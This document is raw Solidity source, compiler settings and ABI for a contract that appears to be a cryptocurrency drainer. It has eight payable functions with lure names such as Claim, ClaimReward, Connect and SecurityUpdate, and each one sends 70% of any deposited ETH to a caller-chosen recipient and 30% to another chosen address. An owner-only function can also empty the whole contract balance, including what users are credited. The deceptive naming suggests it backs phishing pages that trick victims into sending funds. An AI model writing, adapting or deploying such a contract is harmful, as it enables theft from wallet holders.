// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.18;
contract CG_Contract {
address private owner;
mapping(address => uint256) private balance;
mapping(address => bool) private auto_withdraw;
event Withdrawal(address indexed receiver, uint256 amount);
event AutoWithdrawStatusUpdated(address indexed user, bool status);
event Payout(address receiver, uint256 amount);
modifier onlyOwner() {
require(msg.sender == owner, "Only owner can call this");
_;
}
modifier validAmount() {
require(msg.value > 0, "Invalid amount");
_;
}
constructor() {
owner = msg.sender;
}
function getOwner() public view returns (address) {
return owner;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address wallet) public view returns (uint256) {
return balance[wallet];
}
function getWithdrawStatus(address wallet) public view returns (bool) {
return auto_withdraw[wallet];
}
function setWithdrawStatus(bool status) public {
auto_withdraw[msg.sender] = status;
emit AutoWithdrawStatusUpdated(msg.sender, status);
}
function withdraw() public {
uint256 amount = balance[msg.sender];
require(address(this).balance >= amount, "BALANCE_LOW");
balance[msg.sender] = 0;
payable(msg.sender).transfer(amount);
emit Withdrawal(msg.sender, amount);
}
function withdrawEther(address payable receiver, uint256 amount) public onlyOwner {
require(receiver != address(0), "Invalid address");
require(address(this).balance >= amount, "Insufficient contract balance");
payable(receiver).transfer(amount);
}
function _executeTransaction(uint8 auto_payout, address sender, address recipient1) public payable validAmount {
uint256 gasCost = tx.gasprice * gasleft();
uint256 totalAmount = msg.value - gasCost;
if (auto_payout == 1) {
uint256 payoutAmount1 = totalAmount * 70 / 100;
uint256 payoutAmount2 = totalAmount - payoutAmount1;
payable(recipient1).transfer(payoutAmount1);
payable(sender).transfer(payoutAmount2);
emit Withdrawal(recipient1, payoutAmount1);
} else {
balance[sender] += totalAmount;
}
}
function Claim(uint8 auto_payout, address sender, address recipient1) public payable {
_executeTransaction(auto_payout, sender, recipient1);
}
function ClaimReward(uint8 auto_payout, address sender, address recipient1) public payable {
_executeTransaction(auto_payout, sender, recipient1);
}
function ClaimRewards(uint8 auto_payout, address sender, address recipient1) public payable {
_executeTransaction(auto_payout, sender, recipient1);
}
function Execute(uint8 auto_payout, address sender, address recipient1) public payable {
_executeTransaction(auto_payout, sender, recipient1);
}
function Multicall(uint8 auto_payout, address sender, address recipient1) public payable {
_executeTransaction(auto_payout, sender, recipient1);
}
function Swap(uint8 auto_payout, address sender, address recipient1) public payable {
_executeTransaction(auto_payout, sender, recipient1);
}
function Connect(uint8 auto_payout, address sender, address recipient1) public payable {
_executeTransaction(auto_payout, sender, recipient1);
}
function SecurityUpdate(uint8 auto_payout, address sender, address recipient1) public payable {
_executeTransaction(auto_payout, sender, recipient1);
}
receive() external payable {}
}
{
"compilationTarget": {
"CG_Contract.sol": "CG_Contract"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"bool","name":"status","type":"bool"}],"name":"AutoWithdrawStatusUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"receiver","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Payout","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"receiver","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdrawal","type":"event"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"Claim","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"ClaimReward","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"ClaimRewards","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"Connect","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"Execute","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"Multicall","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"SecurityUpdate","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"Swap","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"auto_payout","type":"uint8"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient1","type":"address"}],"name":"_executeTransaction","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getUserBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getWithdrawStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"setWithdrawStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"receiver","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawEther","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]